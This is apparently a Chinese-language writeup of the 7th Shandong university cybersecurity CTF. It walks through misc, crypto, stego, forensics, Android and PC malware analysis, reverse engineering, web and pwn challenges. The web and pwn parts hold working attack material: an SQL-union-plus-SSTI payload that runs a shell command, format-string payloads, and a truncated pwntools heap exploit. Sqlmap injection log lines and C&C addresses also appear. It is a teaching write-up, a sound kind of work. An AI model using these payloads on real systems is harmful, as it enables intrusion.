第七届山东省大学生网络安全技能大赛Writeup

Misc – 3

1.Crack it

题目描述

破解该文件,获得密码,flag格式为:flag{*******}

考点

shadow文件破解

解题过程

kali下,无需加载字典,john直接破解即可。

《第七届山东省大学生网络安全技能大赛Writeup》

2.进制转换

题目描述

二进制、八进制、十进制、十六进制,你能分的清吗?

考点

编程基础、进制转换

解题过程

import binascii

text = "d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e"
solution = ''
text2 = text.split(' ')
for x in text2:
    print x
    if x[0] == 'b': #binary
        solution += chr(int(x[1:],2))    
    elif x[0] == 'x': # hexadecimal
        solution += x[1:].decode("hex")    
    elif x[0] == 'd': # decimal
        solution += chr(int(x[1:]))    
    elif x[0] == 'o': # octal
        solution += chr(int(x[1:],8))
print solution

3.basic

题目描述

黑,白,黑白,黑黑白白。

考点

python像素点写图片

解题过程

from PIL import Image

x = 150
y = 900

im = Image.new("RGB", (x, y))
file = open('basic.txt')

for i in range(0, x):
    for j in range(0, y):
        line = file.readline().replace('(','').replace(')','') 
        rgb = line.split(",")
        im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))

im.show()

Crypto – 3

1.affine

题目描述

y = 17*x-8 flag{szzyfimhyzd}

答案格式:flag{********}

考点

仿射加密

解题过程

仿射加密,直接解密即可。

《第七届山东省大学生网络安全技能大赛Writeup》

2.rsa

题目描述

请破解密文

考点

rsa wiener attack

解题过程

ne已经给出,可以看出e特别大,在e特别大的情况下,可以使用wiener attack的方法进行破解,正好工具RsaCtfTool集成了wiener attack的方法,所以可以直接使用RsaCtfTool计算私钥, 如下所示: 

《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》

使用pqe直接解密密文,得到flag,代码如下所示:

#coding:utf-8
from libnum 
import n2s,s2nimport base64
def gcd(a, b):   #求最大公约数
    if a < b:
        a, b = b, a    
    while b != 0:
        temp = a % b
        a = b
        b = temp    
    return a
def egcd(a, b):
    if a == 0:        
    return (b, 0, 1)    
else:
        g, y, x = egcd(b % a, a)        
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)    
    if g != 1:        
       raise Exception('modular inverse does not exist')    
    else:        
       return x % mif __name__ == "__main__":
    p=15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199
    q=28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003
    e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
    # tmp = base64.b64decode("qzogS7X8M3ZOpkUhJJcbukaRduLyqHAPblmabaYSm9iatuulrHcEpBmil7V40N7gbsQXwYx5EBH5r5V2HRcEIOXjgfk5vpGLjPVxBLyXh2DajHPX6KvbFpQ8jNpCQbUNq8Hst00yDSO/6ri9dk6bk7+uyuN0b2K1bNG5St6sCQ4qYEA3xJbsHFvMqtvUdhMiqO7tNCUVTKZdN7iFvSJqK2IHosIf7FqO24zkHZpHi31sYU7pcgYEaGkVaKs8pjq6nbnffr4URfoexZHeQtq5UAkr95zD6WgvGcxaTDKafFntboX9GR9VUZnHePiio7nJ3msfue5rkIbISjmGCAlj+w==")
    #  = 
    d = modinv(e, (p - 1) * (q - 1))    # c=s2n(tmp)
    c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
    #c = 225031483444634056931067907865853799650197225351377050632290334721073031287701730297815850654473721939907812470206115171738967740183098960272963323728747481560137205796840356532306950935686580268408289864109695494835661414073083573249882362332920722000099781994315336570711188934565379141406727420346806389405536474102730682155998263607095718543239272202402139286809779368710600842078606046563228470023546348908618719147790859257980882643030144242048154566691808688844513142261099020381730517293884263384819159874220288293023868919557980548807831273449743064237407705987056818011286315950476959812697067649075359373253
    n = p*q
    m=pow(c,d,n)    
    print n2s(m)

3.神秘的代码

题目描述

xor

考点

xor+aes_ecb

本题出的有些脑洞,已暴打出题人…

解题过程

将明文与密文进行异或,得到一段hint,如下所示:

i am a hydre agenT, coverly spying on the superHeroes. I am aware of the group that iS going to aTtack you…but Hydra has had its diffErences with you in the past, so i’m not going to maKe it vEry simple for You ….ecb…aes(I Vouch for this: 12345)…md5(this)…base64…

这里将大写字母提取出来,是THISTHEKEYIV,后面又提示是aes_ecb,所以这里有一个坑点,这个大写字母的组合并不是aes算法的key,所以也不能用来解密,然后后面又提示是md5(this),即将整段话进行md5,然后进行解密,最后的代码如下:

import base64
import hashlib
from Crypto.Cipher import AES

def readfile(path):
    with open(path, 'r') as f:        
        return f.read()
def xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
# read the files
clear = readfile('info_clear.txt')
crypt = readfile('info_crypt.txt')
superhero = readfile('true_crypto.txt')
superhero = base64.b64decode(superhero)

# get the key
dec = xor(clear,crypt).rstrip('\n').encode('utf-8')
print(dec)
key = hashlib.md5(dec).hexdigest().encode()
print(key)

# decrypt aes-ecbcipher = AES.new(key, AES.MODE_ECB)
msg = cipher.decrypt(superhero)
print(msg)

Stego – 3

1.啊哒

题目描述

有趣的表情包

考点

exif、隐藏压缩包

解题过程

拿到之后是一个jpg文件,先使用binwalk分析下文件,得到图片中隐藏了一段tiff信息以及一个压缩包,都分离出来,发现压缩包被加密了,tiff信息在相机型号出处有一段十六进制,转换成字符串以后是sdnisc_2018,如下图所示: 

《第七届山东省大学生网络安全技能大赛Writeup》

使用这个密码解密压缩包,即可获得flag

2.color

题目描述

你见过彩虹吗?

考点

拉长图片,二进制转字符串。

解题过程

查看每张图片的最低位,发现有变化。组成之后是一句话:

Make Me Tall

根据提示意思应该是要调整png的尺寸,扩大高度。

发现原来图像下部,有黑白块儿,按照黑->1白->0转化成二进制数。

1111111101011110111111111011111110111111 
00001100101010110001 01001010010000001101 11010011011101010111 
1001101101101011011000111001101101111101

经过多次尝试之后发现,每一列,七个数字组成一个字符,进行二进制转化之后即可得到flag。

#coding:utf-8
def encode(s):
    return ' '.join([bin(ord(c)).replace('0b', '') for c in s])
def decode(s):
    return ''.join([chr(i) for i in [int(b, 2) for b in s.split(' ')]])

l = [''] * 7

f = open('code.txt', 'r') # 01矩阵
for i in range(7):
    j = 0
    line = f.readline().replace('\n','')
    l[i] = line
# print l

## 矩阵初始化
ll=[''] * 20
for i in range(len(ll)):
    ll[i]=[''] * 7
## 矩阵翻转
for i in range(20):    
    for j in range(7):
        ll[i][j] = l[j][i]
# print  ll

flag = ''
for i in ll:
    t = ''.join(i)
    flag += decode(t)
    
print flag

3.神秘的文件

题目描述

考点

明文破解 + doc隐写

解题过程

将题目解压出来,题目压缩包里有个logo.png和一个加密压缩包,很明显的明文破解,使用题目压缩包作为key和writeup压缩包进行明文破解(或者使用2345好压的标准压缩算法压缩logo.png),得到密码: 

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

解压后得到doc文件,当成压缩包解密,能找到flag.txt中有一串base64编码的字符串,解码即可。

Forensic – 5

1.特殊后门

题目描述

从通信方式的角度看,后门可分为http/https型、irc型、dns型、icmp型等等。安全人员抓到一份可疑的流量包,请从中分析出利用某种特殊协议传输的数据。

考点

携带数据的ICMP包分析

解题过程

使用科来分析工具进行全面分析,可以看到数据包数量不多,使用协议浏览器查看流量包:

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

逐个查看特殊协议,可以发现ICMP协议数据包中的数据:

《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》

依次查看ICMP包,拼接即可得到flag。

flag

flag{Icmp_backdoor_can_transfer-some_infomation}

2. weblogic

题目描述

黑客攻击了Weblogic应用,请分析攻击过程,找出Weblogic的主机名。flag格式:flag{}

Tip:主机名为十六进制。

考点

weblogic 攻击流量审计。模拟了爆破weblogic登录密码,通过部署war包getshell,执行命令获取hostname的操作。

解题过程

使用科来分析工具打开流量包,在数据包选项中,Ctrl+F搜索字符串hostname,可以找到编号为658、662的数据包当中存在hostname关键词。

《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》

其中编号662数据原地址为服务端,是http的Response包。右键解码数据包,可以很直观的看到服务端返回的内容:

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

3. 日志审计

sqlmap盲注日志审计。

题目描述

请从流量当中分析出flag。

考点

本题考查根据日志,还原sqlmap采用二分法注入获得的数据。

解题过程

题目是sqlmap采用二分法进行注入的日志,办法很多,可以手撕,可以根据特征进行分析。

这里举例说一种。如果对Apache日志熟悉的话,应该知道,access.log里面会记录Response的状态码和Response包的长度。猜解正确或错误,返回的长度是不同的。

urldecode解码几条记录:

id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>96 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>112 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>120 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>124 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>126 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>125 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476

以猜解的第24位为例,猜解正确的时候,返回的状态码为200,长度为1765;猜解错误的状态码为404,长度为5476。而且可以得出结论,sqlmap采用二分法进行注入的时候,正确的值为最后一次进行>比较正确的值+1,即为125。

简单写个脚本,匹配一下即可。

# coding:utf-8
import re
import urllib

f = open('access.log','r')
lines = f.readlines()
datas = []for line in lines:
    t = urllib.unquote(line)    
    if '1765' in t and 'flag' in t:  # 过滤出与flag相关,正确的猜解
        datas.append(t)

flag_ascii = {}  
for data in datas:
    matchObj = re.search( r'LIMIT 0,1\),(.*?),1\)\)>(.*?) AND', data)   
    if matchObj:
        key = int(matchObj.group(1))
        value = int(matchObj.group(2))+1
        flag_ascii[key] = value     # 使用字典,保存最后一次猜解正确的ascii码
        
flag = ''
for value in flag_ascii.values():
    flag += chr(value)
    
print flag

4.安卓木马分析

题目描述

在某次安全检查中,工作人员在受害者手机中提取到了两个apk文件,其中有一个是木马,请找到木马文件,并分析出该木马的C&C通信服务器域名。flag的提交方式为:flag{域名},如你分析出的结果是http://www.baidu.com ,那么flag就是flag{www.baidu.com}

考点

安卓木马分析+异或解密

解题过程

通过权限分析与常识判断,木马文件为apk_1.apk,使用jeb打开该文件,搜索geturl。

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

发现改木马将C&C服务器IP地址加密于logo.png文件中:

《第七届山东省大学生网络安全技能大赛Writeup》
《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》

用editplus打开logo.png发现并非明文,应该是采用了某种加密。

《第七届山东省大学生网络安全技能大赛Writeup》

向上查看代码,发现使用的加密方式为异或加密,加密因子如下:

《第七届山东省大学生网络安全技能大赛Writeup》

编写如下解密脚本:

#coding:utf-8

import sys

def decrypt2url(decryptedfile):
    f = file(decryptedfile, "r")
    buf = f.read()
    bs = map(ord, buf) # 将字节流存储为10进制的list
    sizz = len(bs)    
    for i in range(0, sizz, 2): # 将后面的字与前面的字交换存储
        if i >= sizz / 2 : break
        d = bs[i]
        bs[i] = bs[sizz - 1 - i]
        bs[sizz - 1 - i] = d
    ss = ''.join(map(chr, bs)) # 将字节流转成字符串
    bs2 = ss.split(',')
    bss = list(bs2)
    sout = ''
    for i in range(0, len(bss), 2):
        sout = sout + chr(int(bss[i]))
    print( "[+] C&C: ", sout)
    
def main(filename):
    PASS = ''.join(chr(x) for x in [9, 5, 9, 8, 5]) # 解密的原子

    infile = file(filename, "rb")
    outfile = file(filename[:-4]+".txt", "wb")
    i = 0
    while 1:
        c = infile.read(1)        
        if not c:            
            break
        j = i % 5
        d = PASS[j]
        c = chr(ord(c) ^ ord(d))
        i = i + 1
        outfile.write(c)
    outfile.close()
    infile.close()
    decrypt2url(filename[:-4]+".txt")
    
if __name__ == '__main__':
    main(sys.argv[1])

运行解密代码python decrypt_url.py logo.png 得到C&C服务器地址:http://www.fineandroid.com/

《第七届山东省大学生网络安全技能大赛Writeup》

flag

flag{www.fineandroid.com}

5.PC木马分析

题目描述

安全分析人员在一次取证中,提取到一枚木马,但是他在虚拟机沙箱中运行该木马样本时并没有抓到这个木马的C&C服务器,你能帮他分析出这个木马的C&C通信服务器IP和端口么?flag提交方式flag{IP:端口},如IP为127.0.0.1,端口为8080,那么flag为:flag{127.0.0.1:8080}

考点

反虚拟机、反调试、睡眠延时绕过,进程检测,脱壳。

解题过程

使用OD调式查看,发现木马本身做了简单的反VM虚拟机、反调试、进程检测以及超长Sleep延迟,且样本代码做了混淆,直接使用常规静态规则检测与动态沙箱检测,无法获取外连行为。

《第七届山东省大学生网络安全技能大赛Writeup》

源码注解如下:

《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》

使用RH查看资源,发现有内嵌exe,猜测exe为内嵌模块。

《第七届山东省大学生网络安全技能大赛Writeup》

提出为dump.exe:
《第七届山东省大学生网络安全技能大赛Writeup》

在虚拟机中调试执行,使用火绒剑检测行为

《第七届山东省大学生网络安全技能大赛Writeup》

自删除,执行隐藏,连接网络控制服务器

《第七届山东省大学生网络安全技能大赛Writeup》

flag

flag{56.45.123.21:55233}

Mobile – 3

1.signin

题目描述

君远至此,辛苦至甚。
窃谓欲状,亦合依例,并赐此题。
(来吧,签个到热个身。)

考点

反编译、资源文件等基础知识

解题过程

反编译后打开 MainActivity,可以发现关键方法 checkPassword,该方法取内置字符串反转后进行 Base64 解码,将结果与输入内容比较,相等则通过验证。

《第七届山东省大学生网络安全技能大赛Writeup》
根据上述分析,需要获得 getFlag 方法的返回值,查看上图中 getFlag 方法的反编译代码,可以看出该方法在资源中获取到字符串后作为返回值返回,故直接去资源文件中查找对应的字符串进行上述运算后即可得到此题Flag。

《第七届山东省大学生网络安全技能大赛Writeup》
《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》

2.fake-func

题目描述

真亦是假,假亦是真

考点

Android native

解题过程

so逆向分析,算法分析。程序中加载了一个so check字符串,init_array中对strcmp函数做了hook,在check函数中比较字符串的时候会进入被hook的strcmp然后做一个aes的运算,aes的密钥是动态的base64。

jadx先打开看MainActivity

public class MainActivity extends AppCompatActivity {    
    protected void onCreate(Bundle savedInstanceState) {        
    super.onCreate(savedInstanceState);
    setContentView((int) R.layout.activity_main);
    ((Button) findViewById(R.id.button)).setOnClickListener(new OnClickListener() {            
        public void onClick(View v) {                
            if (Check.checkflag(((EditText) MainActivity.this.findViewById(R.id.editText)).getText().toString())) {
                Toast.makeText(MainActivity.this, "you are right~!", 1).show();
                } else {
                    Toast.makeText(MainActivity.this, "wrong!", 1).show();
                }
            }
        });
    }
}

调用了so中的Check.checkflag函数校验flag,定位到so中的函数

signed int __fastcall Java_com_testjava_jack_fakefunc_Check_checkflag(int a1)
{  
  signed int v1; // r4
  const char *v2; // r5

  v1 = 0;
  v2 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))();
  j_getKey();
  _android_log_print(4, "INJECT", "asdasd");  
  if ( !strcmp(v2, "this_is_easy_so") )
    v1 = 1;  
  return v1;
}

发现是与一个固定的字符串对比

但是尝试一下程序中提交this_is_easy_so并不对,查看导出表信息,发现存在init_arrary里面对strcmp进行了Inline hook,定位到fake function。发现是aes,key就是动态解密的固定base64字符串。解密得到flag。

本题关键在定位到init_arrary中的函数。另外可以看到符号中有inline hook之类的函数。这题应该再把这几个符号也去掉。

flag

flag{fake_func_3nfxvs}

3.MagicImageViewer

题目描述

刚写完”高强度”加密代码,就被开除了。

是不是因为我没写注释?

考点

  • Android native
  • 算法漏洞分析

    解题过程

    程序首先判断输入内容的长度是否为 16,相等的话将输入内容传入 getKey 方法中,这里将返回内容记为 key,之后将 key 传入 readMagicImage 中解密图片。

《第七届山东省大学生网络安全技能大赛Writeup》

继续分析 readMagicImage
《第七届山东省大学生网络安全技能大赛Writeup》

可以看出该方法逐字节处理文件内容,key 中的字符循环使用作为参数传入 decrypt 方法中获取解密结果。

至此 java 层代码分析完毕,可以得知输入长度为 16,key 由输入内容进行某种变换得来,关键方法为 getKey  decrypt。接下来分析 native 层方法,按顺序从 getKey 开始。

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》
getKey 方法将输入内容与固定字符串 Welcome_to_sdnisc_2018_By.Zero 相同位置上的字符进行异或运算,循环完成后得到变换后的 key

接下来继续看 decrypt 方法。

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

从上图中可以看出 decrypt 方法十分简洁,解密算法只涉及减法异或

整理上述过程中得到的信息,重要的 key 未知,无法解密图片,但是回顾整个算法流程,结合异或运算的特性,如果有加密前的图片文件内容,就可以还原出 key,那问题来了,这个加密前的内容从哪来呢?

从细节出发。

通过反编译代码中的文件名 encrypt_png.dat 或者后期给的 hint 中都可以得知一个相同的信息,dat 文件是由 png 格式加密得来的。

每种文件格式都有固定的文件结构,通过最开始的分析已经知道输入长度为 16,而这个长度正好在 png 文件格式 File header + header chunk 的范围内,也就是说加密前的内容现在已经知道了,直接脚本走起。
《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

Reverse – 3

1. file

题目描述

出题人有个不好的习惯,总喜欢清除回收站,这次在出题的过程中又把文件给删了,你能帮他还原回来吗?
flag无标准格式,提交答案请加上flag{}

考点

解题过程

elf文件,拖入IDA反编译,分析算法,如下图:
《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

其中sttr_homeflllag变量数组的固定值,均可在IDA中找到。

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

那么该题的算法就很简单了k ^ input[k] ^ v11[k],v11数组是sttr_home变量数组中的16进制转化为10进制,使用python很容易实现转换。

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

这里说一下为什么,最后输出了16进制,因为题目描述里说让大家帮出题人找丢失的文件,程序中也提到,flag是文件的MD5值,所以我们的python脚本,不是直接就可以跑出来flag的,需要跑出来16进制然后写入文件,得到文件的MD5值作为flag进行提交。
《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

这里也是一个坑点,有些选手看到跑出来了不可见字符,就怀疑算法的正确性。

解题脚本如下:

strs = [0x66,0x4e,0x6,0x22,0x66,0x25,0x42,0x5d,0x56,0x2e,0x76,0x6e,0x4,0x2d,0x42,0x2c,0x7,0x2c,0x45,0x69,0x2d,0x12,0x5c,0x7e,0x65,0x52,0x60,0x69,0x54,0x64,0x66,0x43]
strss = "flag{hello_player_come_on_hahah}"
for i in range(len(strs)):    
    print hex(strs[i] ^ ord(strss[i]) ^ i),

flag

flag{914a7b9df69eab5b74b9edb7070e53e8}

2.not only smc

题目描述

所见非所得

考点

解题过程

主程序直接跑shellcode,shellcode里面执行校验,取用户输入的一部分对校验函数解密。穿插了一些花指令,没好意思上vm,最外层只加了一个upx,shellcode里面对upx进行了检测,脱壳之后是不能运行的,直接od里面动态分析,断VirtualAlloc,定位到shellcode smc解密,shellcode部分简单的0x25异或自解密,解密出来在0x10001000处是主要的代码段,取输入的第8位后面的5位来解密校验函数

10002DA8   /EB 0F           jmp short 10002DB9
10002DAA   |8B8D 1CFFFFFF   mov ecx,dword ptr ss:[ebp-0xE4]
10002DB0   |83C1 01         add ecx,0x1
10002DB3   |898D 1CFFFFFF   mov dword ptr ss:[ebp-0xE4],ecx
10002DB9   \8B95 1CFFFFFF   mov edx,dword ptr ss:[ebp-0xE4]
10002DBF    3B55 E4         cmp edx,dword ptr ss:[ebp-0x1C]
10002DC2    73 2E           jnb short 10002DF2
10002DC4    8B45 FC         mov eax,dword ptr ss:[ebp-0x4]
10002DC7    0385 1CFFFFFF   add eax,dword ptr ss:[ebp-0xE4]
10002DCD    0FB608          movzx ecx,byte ptr ds:[eax]
10002DD0    8B85 1CFFFFFF   mov eax,dword ptr ss:[ebp-0xE4]
10002DD6    99              cdq10002DD7    BE 05000000     mov esi,0x5
10002DDC    F7FE            idiv esi
10002DDE    0FBE5415 D8     movsx edx,byte ptr ss:[ebp+edx-0x28]
10002DE3    33CA            xor ecx,edx
10002DE5    8B45 FC         mov eax,dword ptr ss:[ebp-0x4]
10002DE8    0385 1CFFFFFF   add eax,dword ptr ss:[ebp-0xE4]
10002DEE    8808            mov byte ptr ds:[eax],cl

由于vc下面stdcall的函数头基本固定,可猜出解密函数的key为:jUnk_

解密出这个函数来要分析这个函数,中间穿插了些花指令,带着分析麻烦的话就写脚本去除,特征还是比较明显的。最终得到解密代码如下:

void dec_xor2(BYTE *szInput, int nCount){    
    if ( nCount == 0 )        
        return ;    
    for (int i = 0; i < nCount; ++i )
        szInput[nCount + i] ^= szInput[i];
    dec_xor2(szInput, nCount >> 1);
}

void dec_xor1(BYTE *szInput, int nCount){
    dec_xor2(szInput, 16);    
    if (nCount)
    {
        dec_xor1(szInput,nCount-1);
    }    else
        return;
}

void MakeArray(int nBase,BYTE *pbData,DWORD dwSize){
    nBase = nBase*2+10;
    
    BYTE bArray[50] = {0};    
    for (int i=0;i<50;i++)
    {
        bArray[i] = (nBase*(i+10)-9)%256;
    }    
    int nCount = 0;    
    for(DWORD dw =0;dw<dwSize;dw++)
    {        
        if (nCount == 50)
        {
            nCount=0;
        }
        pbData[dw]^=bArray[nCount];
        nCount++;
    }
}


BYTE bCmp[] = {    
    0xE8,0x90,0x24,0xE6,0x0A,0xE3,0xF7,0xA8,0x09,0xC0,0x35,0x74,0x26,0x4D,0xA0,0x2D,    
    0xD6,0x1A,0x5A,0x5C,0x16,0x2D,0xF0,0x46,0x44,0x10,0x5F,0x83,0x5B,0xBE,0x86,0xAC,
};

dec_xor1((PBYTE)bCmp,64);
MakeArray(56,(PBYTE)bCmp,sizeof(bCmp));

得到flag:SMc_AnD_jUnk_C0de_1s_s0_fuunn~!

本题需要带壳分析,不要去脱壳,或者dump shellcode里面打包的dll,修复下pe头即可。然后分析dll,dll里面的花指令去掉会明朗很多。

3.babyLoginPlus

题目描述

babyLogin 新品发布会。『babyLogin Plus』哪一面,都是亮(汇)点(编)。

考点

逆向分析

解题过程

此题为简易VM,只需关注运算操作相关的指令处理方法。
《第七届山东省大学生网络安全技能大赛Writeup》
通过动态调试,能够发现算法很短,记录下第一个字符的处理方法调用顺序就可以确定算法流程,对密文进行逆运算即可得到此题 Flag。

《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

由于篇幅问题无法在此做详细介绍,如有疑问可加入 第七届山东省网络安全大赛(415964984) QQ群,群内咨询管理员。

Web

web1 – babyweb

题目描述

复现地址:http://47.105.148.65:29001

考点

http伪造IP,篡改cookie

解题过程

签到Web题。

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

web2 – babyweb2

题目描述

复现地址:http://47.105.148.65:29002

考点

变量覆盖 + php弱类型 + 条件竞争

解题过程

第一步:http://47.105.148.65:29001/index.php?id=key[99]=QNKCDZO

第二步:最简单的方法,burp Intruder开两个任务,一个上传,一个访问即可。

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

web3 – easy_flask

题目描述

复现地址:http://47.105.148.65:29003

考点

SQLi + SSTI

解题过程

题目提供了Add a Comment和Search Comment两个功能

首先尝试SSTI。提交如下内容:
《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

搜索用户名,得到结果:
《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

存在ssti,但是Add a Comment中username和comment两个参数限制了字符长度,最多提交10个字符,没法正常运用ssti。

测试search功能,username参数存在sql注入

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

有两个思路可以继续做。
思路一:将ssti的payload进行切片,存入数据库,然后使用注入语句进行拼接,触发ssti。

思路二:使用union select,将ssti的payload直接显示,触发ssti。
payload:username=jzxt' union select 1,2,"{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}" -- -

Pwn

Pwn1 – repeater

题目描述

复现地址:nc 47.105.148.65 9999

考点

格式化字符串

解题过程

此题为简单的格式化字符串漏洞,首先总览分析一下程序,循环受 totalcount 次数限制,初始值为 1。

《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》
程序提供了 getFlag 方法,但是需要变量 number 0x2018 才会执行命令。

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》
接下来思路就很清晰了,首先改写 totalcount 变量,使得循环执行更多次。

payload = fmtstr_payload(4,{0x0804A064:0x3})
p.sendline(payload)

然后改写 number  0x2018

payload = fmtstr_payload(4,{0x0804A060:0x2018})
p.sendline(payload)

最后调用 getFlag 方法获取 Flag。

payload = fmtstr_payload(4,{0x804a01c:0x08048616})
p.sendline(payload)

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

PS:Writeup的flag与比赛当时不同。

Pwn2 – bb_tcache

题目描述

复现地址:nc 47.105.148.65 8888

考点

堆的利用。

解题过程

程序提供了 system 地址,可计算出 libc 的地址,利用 __malloc_hook 完成此题。

《第七届山东省大学生网络安全技能大赛Writeup》《第七届山东省大学生网络安全技能大赛Writeup》

《第七届山东省大学生网络安全技能大赛Writeup》

解题脚本:

#!/usr/bin/env python2
# coding: utf-8
# Usage: ./exploit.py -r/-l/-d

from pwn import *
import argparse
import itertools


IP = "10.10.55.153"
PORT = 30059

context.arch = "amd64"
context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
BIN = "./ez_heap"


def r(x): return io.recv(x)
def ru(x): return io.recvuntil(x)
def rud(x): return io.recvuntil(x, drop=True)
def se(x): return io.send(x)
def sel(x): return io.sendline(x)
def pick32(x): return u32(x[:4].ljust(4, '\0'))
def pick64(x): return u64(x[:8].ljust(8, '\0'))


parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

io = None  # this is global process variable

binary = ELF(BIN)

if args.remote:
    context.noptrace = True
    io = remote(IP, PORT)  
    libc = ELF("libc-2.27.so")
elif args.local or args.debugger:
    env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc-2.27.so")}    
    # env = {}
    io = process(BIN, env=env)    
    print io.libs()
    proc_base = io.libs()[        
         "/home/vagrant/cyberpeace/ADWorld/isc_quals/Jeopardy/pwn/ez_heap/source/ez_heap"]
    libc_bb = io.libs()[        
         '/home/vagrant/cyberpeace/ADWorld/isc_quals/Jeopardy/pwn/ez_heap/source/libc-2.27.so']    
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc = ELF("./libc-2.27.so")
else:
    parser.print_help()
    exit()
    
def malloc_heap():
    rud("4. quit!")
    sel(str(1))
    
def free_heap():
    rud("4. quit!")
    sel(str(2))
    
def write_heap(payload):
    rud("4. quit!")
    sel(str(3))
    rud("You might need this to tamper something.")    
    if len(payload) > 8:
        log.critical("May be your PAYLOAD too long!!!!!!")
    se(payload)
    
if args.debugger:
    gdb.attach(io, '''
    b *0x{:x}
    c
    '''.format(
        libc_bb + 0x45254,  # one gadget
